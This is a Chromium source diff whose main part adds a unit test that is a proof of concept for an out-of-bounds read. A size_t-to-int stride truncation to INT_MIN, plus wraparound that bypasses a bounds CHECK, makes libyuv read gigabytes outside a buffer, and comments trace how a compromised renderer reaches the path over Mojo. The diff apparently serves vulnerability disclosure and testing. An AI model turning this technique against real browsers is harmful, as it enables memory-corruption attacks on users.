diff --git a/build/vs_toolchain.py b/build/vs_toolchain.py index 88489da743f6dd..ef2ec5e69b41c3 100755 --- a/build/vs_toolchain.py +++ b/build/vs_toolchain.py @@ -669,4 +669,5 @@ def main(): if __name__ == '__main__': - sys.exit(main()) + #sys.exit(main()) + pass diff --git a/media/gpu/BUILD.gn b/media/gpu/BUILD.gn index a6a1e975ea4fd9..dd504595deac19 100644 --- a/media/gpu/BUILD.gn +++ b/media/gpu/BUILD.gn @@ -659,7 +659,7 @@ source_set("unit_tests") { } # TODO(b/219079009): consider running these tests without VA-API or V4L2. - if (is_chromeos && (use_v4l2_codec || use_vaapi)) { + if ((is_chromeos || is_linux) && (use_v4l2_codec || use_vaapi)) { deps += [ "//media/gpu/chromeos:unit_tests" ] } if (use_vaapi) { diff --git a/media/gpu/chromeos/BUILD.gn b/media/gpu/chromeos/BUILD.gn index 773b98cf47a272..27a11e387b1aa1 100644 --- a/media/gpu/chromeos/BUILD.gn +++ b/media/gpu/chromeos/BUILD.gn @@ -254,6 +254,7 @@ source_set("unit_tests") { "//skia", "//testing/gmock", "//testing/gtest", + "//third_party/libyuv", "//ui/gfx:buffer_types", "//ui/gfx:memory_buffer", "//ui/gfx/geometry", diff --git a/media/gpu/chromeos/video_frame_resource_unittest.cc b/media/gpu/chromeos/video_frame_resource_unittest.cc index 0f8fccb9f474d9..398b2e6b46f678 100644 --- a/media/gpu/chromeos/video_frame_resource_unittest.cc +++ b/media/gpu/chromeos/video_frame_resource_unittest.cc @@ -4,10 +4,12 @@ #include "media/gpu/chromeos/video_frame_resource.h" +#include #include #include #include +#include #include "base/files/file.h" #include "base/files/file_path.h" @@ -19,6 +21,7 @@ #include "media/base/video_frame_layout.h" #include "media/base/video_types.h" #include "testing/gtest/include/gtest/gtest.h" +#include "third_party/libyuv/include/libyuv/convert_from.h" #include "ui/gfx/geometry/rect.h" #include "ui/gfx/geometry/size.h" @@ -81,4 +84,88 @@ TEST(VideoFrameResourceTest, WrappingLifecycle) { ASSERT_TRUE(orig->HasAtLeastOneRef()); ASSERT_FALSE(orig->HasOneRef()); } + +// POC: VideoFrameResource::stride() truncates VideoFrame::stride() (size_t) to +// int. A renderer-controlled stride of 0x80000000 becomes INT_MIN. With +// visible_height=3, GetVisibleDataInternal() computes +// visible_plane_size = INT_MIN * (3 - 1) + W +// which under -fno-strict-overflow (build/config/compiler/BUILD.gn) wraps to +// 0 + W = W, so the protective span::subspan() CHECK is bypassed. +// LibYUVImageProcessorBackend::DoConversion() then passes +// (visible_data(kY)=buf, stride(kY)=INT_MIN) to libyuv::I420ToNV12, whose +// CopyPlane loop reads at buf - 2GiB and buf - 4GiB. +// +// On a real ChromeOS device this is reached from a compromised renderer via +// mojom::VideoEncodeAccelerator -> V4L2VideoEncodeAccelerator -> +// ImageProcessorBackend::Process -> LibYUVImageProcessorBackend::ProcessFrame. +// The Mojo deserializer (video_frame_mojom_traits.cc) accepts the layout +// because all validation runs in size_t. +TEST(VideoFrameResourceTest, StrideTruncationOOB) { + constexpr int kWidth = 64; + constexpr int kHeight = 3; // Odd: makes (rows-1)=2 so INT_MIN*2 wraps to 0. + constexpr size_t kHugeStride = size_t{0x80000000}; // 2^31 + constexpr size_t kYPlaneSize = kHugeStride * size_t{kHeight}; // 6 GiB + + // Plane layout exactly as built by StructTraits::Read + // for SharedMemoryVideoFrameData with strides=[0x80000000, W/2, W/2]. + std::vector planes(3); + planes[0] = ColorPlaneLayout(kHugeStride, /*offset=*/0, /*size=*/kYPlaneSize); + planes[1] = ColorPlaneLayout(kWidth / 2, /*offset=*/0, + /*size=*/static_cast(kWidth)); + planes[2] = ColorPlaneLayout(kWidth / 2, /*offset=*/0, + /*size=*/static_cast(kWidth)); + std::optional layout = VideoFrameLayout::CreateWithPlanes( + PIXEL_FORMAT_I420, gfx::Size(kWidth, kHeight), std::move(planes)); + ASSERT_TRUE(layout.has_value()); + + // Mojo-side validation runs entirely in size_t and accepts a 6 GiB region. + EXPECT_TRUE(layout->FitsInContiguousBufferOfSize(kYPlaneSize)); + + // visible_data() only needs data_[0].size() >= W after the wraparound, so a + // small heap buffer is sufficient to trigger the OOB read in libyuv. + std::vector y_buf(kWidth, 0x41); + std::vector u_buf(kWidth, 0x42); + std::vector v_buf(kWidth, 0x43); + + scoped_refptr frame = VideoFrame::WrapExternalYuvDataWithLayout( + *layout, gfx::Rect(kWidth, kHeight), gfx::Size(kWidth, kHeight), + base::span(y_buf), + base::span(u_buf), + base::span(v_buf), base::TimeDelta()); + ASSERT_TRUE(frame); + + // ImageProcessorBackend::Process() wraps the renderer's frame here. + scoped_refptr resource = + VideoFrameResource::Create(std::move(frame)); + ASSERT_TRUE(resource); + + // Root cause: size_t -> int truncation. + EXPECT_EQ(resource->layout().planes()[0].stride, kHugeStride); + EXPECT_EQ(resource->stride(VideoFrame::Plane::kY), INT_MIN); + + // -fno-strict-overflow bypass: visible_data() returns base pointer instead + // of CHECK-failing in span::subspan(). + const uint8_t* src_y = resource->visible_data(VideoFrame::Plane::kY); + EXPECT_EQ(src_y, y_buf.data()); + + // Destination NV12 frame (as created by V4L2VEA's ImageProcessor pool). + std::vector dst_y(static_cast(kWidth) * kHeight, 0); + std::vector dst_uv(static_cast(kWidth) * 2, 0); + + // This is exactly what LibYUVImageProcessorBackend::DoConversion() does for + // I420 -> NV12 via the Y_U_V_DATA(input) macro. CopyPlane walks INT_MIN + // bytes per row: row 1 reads at y_buf.data() - 2GiB, row 2 at - 4GiB. + // Under ASAN this is a wild read (SEGV / heap-buffer-overflow). + libyuv::I420ToNV12( + resource->visible_data(VideoFrame::Plane::kY), + resource->stride(VideoFrame::Plane::kY), + resource->visible_data(VideoFrame::Plane::kU), + resource->stride(VideoFrame::Plane::kU), + resource->visible_data(VideoFrame::Plane::kV), + resource->stride(VideoFrame::Plane::kV), + dst_y.data(), kWidth, dst_uv.data(), kWidth, kWidth, kHeight); + + // Not reached. + ADD_FAILURE() << "Expected ASAN crash inside libyuv::CopyPlane"; +} } // namespace media diff --git a/third_party/search_engines_data/resources_internal b/third_party/search_engines_data/resources_internal deleted file mode 160000 index d0158bfe38a175..00000000000000 --- a/third_party/search_engines_data/resources_internal +++ /dev/null @@ -1 +0,0 @@ -Subproject commit d0158bfe38a1759ead13e53ed0332aefdb0f512b